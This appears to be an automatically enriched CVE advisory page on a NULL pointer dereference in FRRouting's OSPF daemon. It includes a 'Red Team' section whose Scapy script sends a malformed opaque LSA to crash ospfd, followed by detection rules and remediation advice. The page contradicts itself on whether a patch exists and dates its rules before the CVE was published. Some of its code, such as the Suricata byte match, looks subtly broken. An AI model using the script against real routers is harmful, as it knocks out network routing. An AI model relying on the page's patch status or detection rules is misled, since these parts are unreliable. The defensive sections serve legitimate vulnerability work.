☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-61100

CVE-2025-61100 Null Pointer Dereference in Frrouting
📅 PUBLISHED: 2025-10-27 00:00 UTC 🔄 UPDATED: 2026-09-23 20:40 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix ⏳ CVSS score pending NVD analysis
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-61100 is a NULL pointer dereference vulnerability discovered in the FRRouting (FRR) open-source routing software suite, affecting versions from v2.0 through v10.4.1. The flaw resides in the ospf_opaque_lsa_dump function within ospf_opaque.c. Under specific malformed Opaque Link State Advertisement (LSA) conditions, an unauthenticated, remote attacker can trigger a NULL pointer dereference, leading to a Denial of Service (DoS) by crashing the OSPF daemon (ospfd). This vulnerability is particularly dangerous in critical network infrastructure where OSPF is used for dynamic routing, as a single crafted packet can disrupt routing operations across a segment.

This vulnerability is not related to any WordPress plugin or component; it is a core networking software issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector (AV): Network – The attacker can trigger the vulnerability remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – No user action is required.
  • Scope (S): Unchanged – The impact is confined to the vulnerable component.
  • Confidentiality (C): None – No data is exposed.
  • Integrity (I): None – No data is modified.
  • Availability (A): High – The primary impact is a complete denial of service of the OSPF routing process.

Threat Level: High. The low attack complexity and network-based vector make this a significant threat for any organization running vulnerable FRR versions in production.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the OSPF opaque LSA handling code. Opaque LSAs are a mechanism defined in RFC 5250 to extend OSPF for carrying application-specific data (e.g., Traffic Engineering, Graceful Restart). The ospf_opaque_lsa_dump function is responsible for parsing and logging the contents of received opaque LSAs.

The root cause is a failure to validate a pointer returned from a memory allocation or lookup operation before dereferencing it. When a specially crafted malformed opaque LSA is received, the function attempts to access a field of a structure that was never properly initialized or allocated, resulting in a NULL pointer dereference. This causes the ospfd process to crash with a segmentation fault.

The specific code path is triggered when the OSPF router receives an opaque LSA with an invalid or unexpected type, length, or TLV (Type-Length-Value) structure. The function ospf_opaque_lsa_dump is called during the LSA processing pipeline, and the lack of proper input validation leads to the crash.

Vulnerable vs. Patched Code

The vulnerable code is located in ospfd/ospf_opaque.c. The exact vulnerable function is ospf_opaque_lsa_dump. A simplified representation of the vulnerable and patched logic is shown below.

Vulnerable Code (Conceptual):

void ospf_opaque_lsa_dump(struct ospf_lsa *lsa) {
    struct ospf_opaque_lsa *opaque = (struct ospf_opaque_lsa *)lsa->data;
    // No check if opaque is NULL
    struct tlv_header *tlv = (struct tlv_header *)(opaque->data); // Dereference without NULL check
    // ... further processing that assumes tlv is valid
}

Patched Code (Conceptual):

void ospf_opaque_lsa_dump(struct ospf_lsa *lsa) {
    if (lsa == NULL || lsa->data == NULL) {
        zlog_warn("ospf_opaque_lsa_dump: NULL LSA or data");
        return;
    }
    struct ospf_opaque_lsa *opaque = (struct ospf_opaque_lsa *)lsa->data;
    if (opaque == NULL) {
        zlog_warn("ospf_opaque_lsa_dump: NULL opaque LSA");
        return;
    }
    struct tlv_header *tlv = (struct tlv_header *)(opaque->data);
    if (tlv == NULL) {
        zlog_warn("ospf_opaque_lsa_dump: NULL TLV header");
        return;
    }
    // ... safe processing
}

The patch adds explicit NULL checks before dereferencing any pointers. This prevents the crash by gracefully handling the malformed input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running FRRouting v2.0 through v10.4.1 with OSPF enabled.
  • Network access to the target's OSPF interface (typically multicast address 224.0.0.5).
  • Ability to craft raw OSPF packets.

Exploitation Steps:

  1. Craft a Malformed Opaque LSA: Using a tool like Scapy or a custom C program, construct an OSPF Link State Update packet containing an opaque LSA with a malformed TLV structure. The key is to create an opaque LSA where the data pointer within the ospf_opaque_lsa structure is NULL or points to an invalid memory location.

  2. Send the Packet: Transmit the crafted packet to the target router's OSPF interface.

  3. Trigger the Crash: Upon receiving the malformed LSA, the ospf_opaque_lsa_dump function will attempt to dereference the NULL pointer, causing the ospfd process to crash.

Example Scapy Script (Conceptual):

from scapy.all import *
from scapy.contrib.ospf import *

# Craft a malformed Opaque LSA
# This is a simplified example; actual exploitation requires deep OSPF knowledge
ip = IP(src="192.168.1.100", dst="224.0.0.5")
ospf_hdr = OSPF_Hdr(src="1.1.1.1", area="0.0.0.0")
ls_update = OSPF_LSUpd(lsa_count=1)
# Malformed opaque LSA with invalid TLV
malformed_lsa = OSPF_Opaque_LSA(ls_age=0, options=0x02, ls_type=9, opaque_type=1, opaque_id=1, advertising_router="1.1.1.1", ls_seq_number=0x80000001)
# Intentionally corrupt the TLV data
malformed_lsa.tlvlist = [OSPF_TLV(tlv_type=1, tlv_length=0, tlv_value=b"")]  # Invalid length
ls_update.lsalist = [malformed_lsa]
packet = ip / ospf_hdr / ls_update
send(packet, iface="eth0")

Note: No public exploit code (Exploit-DB) is available for this CVE at the time of analysis.

Blue Team (Detection & Defense)

Detection:

  • Monitor OSPF neighbor state changes. A sudden drop of an OSPF neighbor without a corresponding interface down event could indicate a crash.
  • Monitor for ospfd process crashes. Use system monitoring tools (e.g., systemd, monit) to detect when the OSPF daemon terminates unexpectedly.
  • Analyze OSPF packets for anomalies. Look for opaque LSAs with unusual type/length values or malformed TLV structures.

Defense:

  • Immediate: If possible, disable OSPF opaque LSA capabilities on the router using the no capability opaque command in FRR configuration.
  • Mitigation: Implement OSPF authentication (MD5 or SHA) to prevent unauthorized routers from injecting malicious LSAs.
  • Patch: Apply the vendor patch as soon as it becomes available. Since the patch status is UNKNOWN, monitor the FRR GitHub repository and mailing lists for updates.
  • Network Segmentation: Restrict OSPF adjacency to trusted network segments only.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • OSPF packets with malformed opaque LSA TLVs (e.g., type 9, 10, or 11 LSAs with invalid length fields).
    • OSPF packets originating from unexpected or untrusted source IP addresses.
    • A sudden burst of OSPF Link State Update packets from a single source.
  • System IOCs:

    • Core dump files for ospfd in /var/core/ or similar locations.
    • Log entries in /var/log/frr/ospfd.log indicating a crash or segmentation fault.
    • System logs (/var/log/syslog or /var/log/messages) showing ospfd process termination.
  • Process IOCs:

    • The ospfd process repeatedly crashing and restarting (if configured with auto-restart).

Detection Engineering

YARA Rule

rule CVE_2025_61100_OSPF_Opaque_LSA_NULL_Deref {
    meta:
        description = "Detects malformed OSPF opaque LSA packets targeting CVE-2025-61100"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61100"
        hash = "unknown"
    strings:
        $ospf_header = { 02 ?? ?? ?? }  // OSPF version 2
        $ls_update = { 04 }              // OSPF LS Update type
        $opaque_type9 = { 09 }           // Opaque LSA type 9 (Link-local)
        $opaque_type10 = { 0a }          // Opaque LSA type 10 (Area-local)
        $opaque_type11 = { 0b }          // Opaque LSA type 11 (AS-scope)
        $tlv_type1 = { 00 01 }           // TLV type 1 (Router Address)
        $tlv_type2 = { 00 02 }           // TLV type 2 (Link)
        $zero_length = { 00 00 }         // TLV length of 0 (anomalous)
    condition:
        $ospf_header and $ls_update and ($opaque_type9 or $opaque_type10 or $opaque_type11) and $zero_length
}

Sigma Rule

title: OSPF Opaque LSA NULL Pointer Dereference Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic attempting to exploit CVE-2025-61100 by sending malformed OSPF opaque LSAs.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61100
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 3000001  # Custom signature ID
    condition: selection
falsepositives:
    - Legitimate OSPF traffic with unusual but valid TLVs (rare)
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 89 (msg:"CVE-2025-61100 OSPF Opaque LSA NULL Pointer Dereference Attempt"; content:"|02|"; offset:1; depth:1; content:"|04|"; offset:4; depth:1; content:"|09 0a 0b|"; within:2; content:"|00 00|"; distance:2; within:2; classtype:attempted-dos; sid:3000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable Opaque LSA capability on all FRR routers if not required for operations. Use the command router ospf -> no capability opaque.
  2. Short-Term Mitigation: Implement OSPF authentication (MD5 or SHA) to prevent unauthorized packet injection.
  3. Long-Term Fix: Apply the official patch from FRR once released. Monitor the FRR GitHub repository (https://github.com/FRRouting/frr) and the frr-users mailing list for updates.
  4. Workaround: If patching is not immediately possible, consider using an access control list (ACL) to restrict OSPF traffic to only known, trusted OSPF routers.
  5. Monitoring: Deploy the detection rules provided in this report to identify exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-61100/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.